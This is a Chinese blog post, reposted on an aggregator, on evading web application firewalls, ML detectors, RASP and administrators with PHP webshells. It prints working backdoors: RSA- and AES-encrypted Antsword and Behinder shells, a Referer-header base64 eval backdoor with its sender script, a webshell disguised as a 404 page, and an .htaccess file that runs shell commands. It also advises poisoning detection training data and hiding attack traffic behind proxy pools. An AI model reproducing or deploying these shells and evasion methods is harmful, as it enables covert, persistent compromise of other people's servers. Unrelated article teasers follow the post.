WAF绕过(下)

过流量检测

这里的流量检测就是在网络层的waf拦截到我们向webshell传输的数据包,以及webshell返回的数据 包,检测其中是否包含敏感信息的一种检测方式。如果是大马的情况下,可以在大马中添加多处判断代码,因此在执行大马提供的功能时不直接传递关键 字,而是只传递标识位,如 A 是端口扫描,B 是 上传文件,流量就可能为 action=A,这可以在一定程度 上绕过检测。但过这种方式更加屡试不爽的方式就是在双端都进行非对称加解密操作,这种方式WAF是绝对不敢拦 的,因为他不可能解析的了数据包,而且正常业务逻辑为了保证数据的完整性和保密性也会如此传递数据。

比较常见的使用 RSA 进行加密(蚁剑 php shell)

$cmd = @$_POST['ant'];
$publicKey = <<<EOF
-----BEGIN PUBLIC KEY-----
Input your Public Key
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$publicKey = openssl_pkey_get_public($publicKey);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) {
$cmd .= $de;
}
}
eval($cmd);

传递的数据格式为:

使用AES加密(冰蝎 php shell):

@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}

传递数据格式为:

我想问问,这谁敢拦啊?

除了 RSA/AES/DES 等方式外,你也可以自己变成编码/加密方式,只要做到传输的数据除了你自己的控 制端鬼都认不出来,那你就成功了,此处需要注意的是,一定要是双端加密,也就是不管是请求包还是响应包,都是密文,双端都有加解密 的操作,不然被WAF识别到了返回包里的敏感内容一样前功尽弃,除了流量加密,还有就是multipart分片发包,在前一段时间的绕WAF技术上也是引起了广泛的讨论 在网上还见了一种层级请求,编码运行PHP后门,通过2个PHP文件实现。

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}第二个文件
<?php
//2.php header('Content-type:text/html;charset=utf-8');
//要执行的代码 $code = <<<CODE phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对 referer这些检测要松一点,或者没有检测。

流量层除了对流量本身的识别模式之外,还有很多的识别方式,比如访问时间、访问次数、访问人员等 等方面的综合判定,都可以识别出异常,这种情况下就要考虑到下面提到的匿名化攻击了。

过机器学习算法检测

随着科技发展,现在越来越多的厂商开始尝试并使用机器学习算法进行恶意文件、恶意流量的检测 不论是使用分类算法、还是使用神经网络、深度学习、异常检测算法,能想到的方式有几种:

收集webshell作为训练样本,训练好的模型进行分类,本质上是黑名单训练,典型的如One Class SVM

  • 有针对性的收集正常PHP业务逻辑代码和流量,进行白名单训练
  • 结合各项特征,完全进行聚类算法
  • 基于统计学,构建概率分布模型
  • 使用孤立森林等算法进行无监督的异常检测
  • 结合更高维度特征,如威胁情报、黑客画像、攻击手法等等,扩展特征维度,弱化代码、流量本身 的权重占比

大多数实现的算法本质上都是提取相关特征进行识别,这种情况下想要绕过检测和识别,是稍微有点头 疼的,因为有时候机器学习模型不需要认识你是恶意代码,只需要发现你跟正常逻辑代码不同就可以 了,但是由于PHP的诸多特性,编写PHP代码的人员水平参差不齐,编写习惯不同,加上早期PHP面向过 程的编制占到了大多数,因此在其中提取统一的相似性的成本和难度大大增加,所以还是可以绕过的, 大体的思路有几种:

1.加密文件

对文件加密后,机器学习算法的识别就产生了巨大的偏差,在某些黑名单算法下无法有效识别,但很容 易被静态检测报出威胁。

2.模拟正常业务代码逻辑

恶意webshell写的越像正常业务代码,越容易绕过检测,无论是静态检测还是机器学习算法,对于流量层面,模拟其他正常业务逻辑的传参方式,必要时完全模拟其他参数的传递,这样可以也可以 污染一些机器学习模型动态学习时的训练数据,使用类、函数进行webshell编写,增加代码互相调用的复杂度同时避免使用常见的webshell中常用的一些字符处理函数,避免某些关键字在训练模型中出现频率较高 导致报警,这部分根据不同的算法绕过的方式也是不同的,需要视情况而定。

3.匿名化进攻

使用白IP进行攻击探测,使用代理池分散恶意流量,在正常业务访问时间进行探测,降低其他维度对攻 击行为的标签,来绕过多维度特征的机器学习算法的检测,这部分超出了PHP代码本身,不再进行讨论。

4.注释

使用注释进行PHP的混淆,对检测源码的机器学习算法是一个巨大的挑战 虽然机器学习模型的杀伤力理论上远远大于基于规则的传统WAF,但是实际上目前在效率和成本的衡量 上目前还是传统WAF占据主流,可能某些大厂在样本数据庞大的情况下可能已经拥有了较好的模型,但 是也不可能拿出来给你用,基于PHP本身的灵活及动态性,可以看到机器学习算法在不使用多维度多方 面的综合考量情况下很难发挥出好的作用。

RASP防御

PHP RASP方案是通过扩展模块实现对规则对应的恶意函数行为、上下文内容的判断和阻断,可以说 RASP 在未来一段时间内将逐渐取代流量层 WAF 称为主流防御方式,RASP 的技术核心就是一个词:Hook,但实际上最关键的并不是 Hook 动作的本身,而是取决于 Hook 之后的操作,安全开发人员根据自身经验进行的检测动作,在php中,调用 eval 等代码执行的函数,最终会调用 php 内核的 zend_compile_string 函数,因此只要 Hook 掉这个函数,把动作限死,一句话类的webshell都失效了,这种情况下我们可以使用小马、大马,直接把功能写出来,就绕过了这个点,但是既然是 RASP,就没那 么简单。现在新版本的这些侵入式的防护产品,除了 Hook 了代码执行这一块,也一并把文件IO,命令执行这些 都做了,根据 web 文件的行为来判断是否是 webshell。典型的比如:读取了非 web 目录下的文件,执 行异常的命令等等。理论上,只要 Hook 做的全,检测规则想的全面,确实是很难绕过的,因为退一万步讲,即使你成功上 传了webshell,你执行的其他动作都是非常规的,都是可以被检测的。但实际上,安全开发人员也是人,不一定能坐到面面俱到,因此,在相关技术没积累到十分成熟之前, 根据实际情况还是可以试一试的。对于OpenRASP WebShell 沙盒检测,已经有大佬 LandGrey 提出想法,利用信息不对称性绕过检测,地 址https://xz.aliyun.com/t/2335。

伪装

讨论了各种检测方式绕过之后,还有一种绕过是针对人的绕过,也就是针对一些管理员、开发人员或者 同行之间,通过各种方式伪装自己的木马,或多或少还是能起到一些作用的。

将页面伪装成404的木马:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

图片马,配合解析漏洞、htaccess、ini配置文件修改,进行隐藏,例如:

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
RedirectMatch 403 .htaccess$
#.htaccess结尾的403错误,这里是为了增加隐蔽性
AddType application/x-httpd-php .htaccess
#给.htaccess映射php拓展
### SHELL ### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>### KINDLE ###
#恶意的php代码
使用方法:http://localhost/.htaccess/?c=dir

PHP大马编写

在简单了解了上述知识后,为了练习 PHP 编码能力,学以致用,我花了一些时间编写了一个PHP大马, 用作学习总结和免杀测试。

GITHUB地址: https://github.com/JosephTribbianni/Stitch

部分截图:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/840085.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

吉林大学软件工程易错题

1.【单选题】软件工程方法是&#xff08; &#xff09;。 A、为开发软件提供技术上的解决方法 &#xff08;软件工程方法 &#xff09; B、为支持软件开发、维护、管理而研制的计算机程序系统&#xff08;软件工程工具&#xff09; …

设计模式--装饰器模式

引言 装饰器模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它动态地为对象添加额外的职责&#xff0c;而无需修改原有对象的结构。通过创建装饰类来包裹原有的对象&#xff0c;并在装饰类中添加新功能&#xff0c;从而实现功能的灵活扩展和组…

[力扣题解] 684. 冗余连接

题目&#xff1a;684. 冗余连接 思路 并查集&#xff1b; 从前往后遍历&#xff0c;如果不属于同一个集合&#xff08;不是同一个爸爸&#xff09;&#xff0c;就加入&#xff0c;否则就返回这条边&#xff1b; 因为不属于同一个集合&#xff0c;加入可以形成树&#xff0c;要…

Vue 3 的 setup语法糖工作原理

前言 我们每天写vue3项目的时候都会使用setup语法糖&#xff0c;但是你有没有思考过下面几个问题。setup语法糖经过编译后是什么样子的&#xff1f;为什么在setup顶层定义的变量可以在template中可以直接使用&#xff1f;为什么import一个组件后就可以直接使用&#xff0c;无需…

KDE-Ambari-Metrics-Collector问题排查解决手册

文档说明 本文档是为了解决KDE平台的Ambari-Metrics-Collector服务在运行时遇到的问题而提供的问题排查和解决方法的参考文档 说明: 当前的Ambari-Metrics-Collector服务包括了ams-collector和ams-hbase两个程序,在Ambari-Metrics-Collector安装的节点执行ps -elf|grep am…

远动通讯屏具体干啥作用

远动通讯屏具体干啥作用 远动通讯屏主要用于电力系统中的各类发电厂、变电站、光伏电站、开闭所、配电房等&#xff0c;具有实时传输数据和远程控制功能。它的主要作用包括&#xff1a; 数据采集&#xff1a;远动通讯屏能够采集各种模拟量、开关量和数字量等信息&#xff0c…

Java设计模式-备忘录模式(23)

备忘录模式(Memento Pattern)是一种行为设计模式,它提供了一种在不破坏对象封装性的前提下,捕获并存储对象的内部状态,并且可以在将来需要的时候恢复对象状态的方式。这一模式非常适合用于需要撤销操作或者实现状态回滚的场景。以下是Java中备忘录模式的详细解释: 核心角…

云计算的主要服务模式有哪几种?分别是什么特点?

云计算主要有以下几种服务模式&#xff1a; Infrastructure as a Service (IaaS&#xff0c;基础设施即服务)&#xff1a;提供虚拟化的计算资源&#xff0c;如服务器、存储和网络等基础设施。用户可以根据需要自由配置和管理这些资源&#xff0c;具有灵活性和可扩展性。 Platf…

pod介绍之 容器分类与重启策略

目录 一 pod 基础概念介绍 1&#xff0c;pod 是什么 2&#xff0c;Pod使用方式 3&#xff0c;如何解决一个pod 多容器通信 4&#xff0c;pod 组成 5&#xff0c; k8s 中的 pod 二 pause容器 1&#xff0c;pause容器 是什么 2&#xff0c;pause容器作用 3&#xff…

GitLab的原理及应用详解(二)

本系列文章简介: 随着软件开发的不断进步和发展,版本控制系统成为了现代软件开发过程中不可或缺的一部分。而GitLab作为其中一种流行的版本控制工具,在软件开发领域享有广泛的应用。GitLab不仅提供了强大的版本控制功能,还集成了项目管理、持续集成和部署、代码审查等多个功…

LeetCode-105-岛屿的最大面积

题目描述&#xff1a;给定一个由 0 和 1 组成的非空二维数组 grid &#xff0c;用来表示海洋岛屿地图。 一个 岛屿 是由一些相邻的 1 (代表土地) 构成的组合&#xff0c;这里的「相邻」要求两个 1 必须在水平或者竖直方向上相邻。你可以假设 grid 的四个边缘都被 0&#xff08…

docker 笔记汇总

ubuntu 20.04 安装docker https://zhuanlan.zhihu.com/p/143156163 sudo apt update sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -s…

MybatisPlus优雅实现加密?

前言 最近在搞个安全需求&#xff0c;需要对敏感字段做加密存储。于是&#xff0c;&#xff0c;于是我就躺了个坑。 方案梳理 方案一&#xff1a;基于Mybatis的拦截器Interceptor 我的第一个反应其实是基于Mybatis的拦截器Interceptor机制实现&#xff0c;在设置参数的时候…

Vue开发实例(十三)用户登录功能

使用Vue实现登录具有以下几个好处&#xff1a; 响应式界面&#xff1a;Vue框架的响应式特性可以帮助开发者轻松地实现用户登录界面的交互效果&#xff0c;包括表单验证、实时错误提示等&#xff0c;从而提升用户体验。组件化开发&#xff1a;Vue框架支持组件化开发&#xff0c;…

【AI学习】卷积神经网络的由来

乱读书&#xff0c;看见这么这段话&#xff1a; “生物的眼睛以精巧的方式与大脑相连。视网膜上的感光细胞&#xff08;人眼的视杆或视锥&#xff09;并不直接连接到单个神经元上&#xff0c;而是会有一整片区域的神经元与每一个感光细胞相连接。相邻的神经元会连接到视网膜上相…

最新版npm详解

如&#xff1a;npm中搜索 jQuery image.png image.png 接地气的描述&#xff1a;npm 类似于如下各大手机应用市场 image.png image.png 查看本地 node 和 npm 是否安装成功 image.png image.png 或 npm install -g npm image.png image.png image.png image.png image.…

【数据库】MySQL

文章目录 概述DDL数据库操作查询使用创建删除 表操作创建约束MySqL数据类型数值类型字符串类型日期类型 查询修改删除 DMLinsertupdatedelete DQL基本查询条件查询分组查询分组查询排序查询分页查询 多表设计一对多一对一多对多设计步骤 多表查询概述内连接外连接 子查询标量子…

这所211专硕22408复试线310分,学硕收调剂!辽宁大学计算机考研考情分析!

辽宁大学信息学院下设计算机科学与技术、电子信息科学与技术、通信工程、信息管理与信息系统、软件工程5个本科专业&#xff0c;有计算机软件与理论、计算机应用技术2个硕士学位授权点&#xff0c;软件工程和计算机技术两个专业硕士学位点&#xff0c;1个计算机应用研究所、1个…

wordpress woocommer 添加代码实现,点击按钮,将产品添加到购物车并且跳转到结账页面

wordpress woocommer 添加代码实现&#xff0c;点击按钮&#xff0c;将产品添加到购物车并且跳转到结账页面 案列代码1&#xff0c;解决的是普通产品的 //短代码生成按钮&#xff0c;传入短代码&#xff0c;点击直接到达结账页面 function add_product_to_cart_button($atts)…

案例题(第一版)

案例题目 软件架构设计考点&#xff08;历年必考&#xff09; 软件架构设计通常在每年的第一题&#xff0c;该题必考 必备概念 必备概念即考试必须要默写出来的概念 概念描述软件架构风格是指描述特定软件系统组织方式和惯用模式。组织方式描述了系统的组成构件和这些构件的组…